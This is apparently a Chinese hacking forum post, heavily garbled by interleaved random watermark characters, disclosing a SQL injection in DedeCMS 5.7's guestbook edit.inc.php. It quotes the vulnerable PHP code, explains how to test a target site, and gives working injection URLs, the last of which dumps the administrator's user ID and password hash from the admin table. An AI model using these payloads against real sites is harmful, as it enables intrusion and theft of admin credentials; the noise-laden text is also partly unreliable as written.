影响版本为5.7
: @8 v" [" ~7 M2 D' U8 b# B5 N
8 y) R8 D+ s' D8 Y% X9 {$ h漏洞文件edit.inc.php具体代码:2 ~5 i* {" K7 j' l. ?7 W% u( y
9 B2 L; k0 W* Z' h, d6 J/ y< ?php ( ]' R* _+ g3 E- A+ ^6 x' W
! A6 z; `% i# ^) n1 W
if(!defined('DEDEINC')) exit('Request Error!');
7 d. _+ F- b6 R2 |- ?5 }8 a; w6 e0 O
( i/ i# K: d- X9 Q4 y& P% Y# e4 z1 T( z
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; 0 N; O2 M5 R3 ^( {
; d6 r8 Y- K& ` P6 [; P7 A
else $GUEST_BOOK_POS = "guestbook.php";
5 f& F( ^& |) @0 I! y0 ?
4 @+ G( c) u1 C( [; x/ d6 U
% |& W6 |! `7 ]- F7 v. x
4 a8 K1 h( F: j/ O+ m6 i; d$ A$id = intval($id); 1 ^9 t" ^5 }8 \" T
! e" i3 ?3 P, T' z4 g4 Q
if(empty($job)) $job='view'; * E+ q( o/ U, G1 Y3 {. Z
) q7 N7 e. x* r! d
, K% x& Q4 ]( K3 t' Z$ ^) I
1 {! Z* W3 n$ X* C5 k S
if($job=='del' && $g_isadmin) 9 T3 G5 D. U) P8 a- x, |
' h! w+ E! `; z2 w9 m! V! t{
0 _9 y* o* `0 K+ x0 D: [! ?
: \+ k" |5 t* K! A v& m! y$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
9 l: Z2 r6 p& l+ c* N- j4 h8 ~
. n) V! {, n; F% p# sShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); " w8 X. S% ~3 ?# ~
: N! m+ \8 O5 z. N: uexit();
% J ?7 L& o- @
5 y+ {2 P# N4 a! w) h8 j3 Q} ( s. s- \$ z8 K! Q n
: f9 j* V/ y* w" O$ lelse if($job=='check' && $g_isadmin)
8 F p5 J& D7 r2 u2 l% A' q0 T- e; c
{
8 O+ Y! ]7 H7 u1 U; Z T+ {/ S0 B+ H3 K. C \3 o0 ~
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); $ d- Z' D' z, |- p% ~- E7 }
9 Y1 s- E' V" w/ q
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
* v8 H8 V3 O4 p- D- c" p4 ?5 L9 g
: X+ U9 S4 h+ g& u, l9 |, fexit();
|2 h7 \. t% p: {
5 x' S# j- j. M) P J5 P' Z}
: C' A- i, D- g1 q- r4 g8 p% ]
else if($job=='editok')
* n, M7 E L6 J* `' n7 k3 M+ `
3 v8 v% T# q* @{
+ M1 e' p) }: h$ `/ F; S
$ x0 W& z9 F, Z9 z8 [$remsg = trim($remsg); # f5 l" {) B2 @# [$ Y4 r
6 q: {9 a& Z2 u2 C$ G
if($remsg!='')
) H& {' G0 ]( R4 q0 p( }7 P9 \0 Z; W% \% G$ @1 v6 G: z q/ o o9 E
{
) N1 o$ I/ o S1 P7 W
5 z' c% O$ w+ P& F; L3 q//管理员回复不过滤HTML By:Errorera blog:errs.cc $ l! t- m2 n& v4 f
, v% w3 y4 P/ t+ k
if($g_isadmin) 6 H7 a1 g6 i: f; z+ m0 S6 l' A; ]
$ T& F$ |1 w2 c: ?0 y* y7 ~# a{
, y9 g. l' X8 ^" t/ L4 g
2 {7 v! W/ I! U0 U$ n6 l- w$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; & j9 d: f# t$ m2 H# X
) E) Y* ^. Q/ U. Q& m) W
//$remsg <br /><font color=red>管理员回复:</font> }
8 s( w* x/ t" z! A8 V0 s/ S3 M" @- b; H9 e! |
else
j* X1 e% _! J# z$ D2 m4 x# w; }1 H
7 K# b8 i2 I5 K* b: i{ ) r7 h7 t- u8 h
u* I: P( x3 B3 H6 c
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 8 B( j: b: @% O( x0 }6 u
% B0 Q3 C9 A0 _7 P( c6 f
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; ) |. i& N5 [& S! T" K
+ m* ^4 \- a1 n; d2 O8 ?6 y
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
) M7 ^6 D R* j5 v
1 p! m: y1 X! f7 {6 v" N4 l( u$ }# Y$msg = $oldmsg.$remsg; - U% \. A3 J% t5 @% ?1 u( m/ M: F
% o6 O/ a$ a6 C" l& U}
?' L p/ V. U! D3 a/ k e- L) q1 K3 t& T0 i( P, V, G
}
) [% }- {0 w# W# C6 Y
9 u( ^) v9 |7 [6 c* V8 ]7 G//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 8 X2 @ L3 T/ p; ]$ l
" ?/ W( K+ h. v! c. d$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
0 e5 }3 Z7 M0 E
- r) p3 h# u7 x+ N) V6 H1 ^ x- b4 o# ?ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); * C: S# H* A( }- ?3 H
; G9 M3 E* M2 a. N8 c+ s* pexit();
# `5 o4 B6 {. z6 u; ~4 E
- j' c4 s9 |( T8 F4 m0 u} 0 O4 X6 m/ u9 Y
7 i4 H; _ W* \$ a//home:www.errs.cc 7 r3 N8 _7 i8 r* A; n' m6 n
$ \0 C: i/ d& R2 v+ {, P" F0 wif($g_isadmin) 9 p( J4 A& T& E; e
+ G* k: P* g% R9 c$ m" w- Q9 N{ % v3 I$ a+ X3 @$ B
# p. J8 E7 o! G' Q. g
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 1 K/ B' [/ ?9 w! y% _8 ?* j2 s9 p
" ^# Q' m' q+ @) Drequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); / |" P' J' a: }/ A
9 ~/ E; j3 M' h( |6 [
}
9 t' n) M6 [% _. e
! p$ y& V: X/ P! A! z7 f) @else + G; [: n; X4 x, R
" u [$ ?3 n, C3 O; M{
3 J$ X. X1 { R4 @6 {, z/ |) [' P1 h# W+ J% l
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
t1 |1 X$ j; P1 a3 ]
% C5 y6 g6 L; b/ i, _require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); 2 ~5 w& v5 ]2 X& V2 H
! h8 e e. m8 A g H% n" c
} 漏洞成功需要条件:
! l' R2 S; g+ K0 G- b7 c0 _1. php magic_quotes_gpc=off+ W; d; [) g6 p1 ?! S2 k; ~7 n1 @
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。+ T( t; w3 i$ R/ x$ ~6 h. b
; B4 x8 D' Q3 r3 f
怎么判断是否存在漏洞:' o$ K+ D8 K# d- r- o
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
+ w# h# C# K1 n( M4 ^然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
' l4 F3 M+ G: U2 q) b3 w( i访问:* K$ Z, ]0 f$ O' J* _
5 T0 ^4 f, N/ f& t* K. h; Z4 h
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
* R. b, H# ^7 U# H跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证. ^' M4 V% f' j
# k. G+ n9 |1 S1 V0 z1 W
0 ^" ^) a" s% @明漏洞无法利用应为他开启了 php magic_quotes_gpc=off5 q$ g9 R. d7 B7 p# D
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
7 Y( e2 H% g2 e2 |; j那么再次访问, }$ x# [4 |8 H& }+ W+ x
3 Q0 w, B) s% z) l1 w, d U3 @2 Uwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
8 P$ [% t5 i, g* [8 y& {/ A# F! I+ f0 T6 C' w; c! a: K
大概利用就是这样,大家有兴趣的多研究下!!
( W' ~$ u% b( G1 \( H8 u3 M7 \4 v( B; Q' l
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
! y& ^8 ~: L. r o* p
( T% G& `2 W- K% X& g) T7 H& Oview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |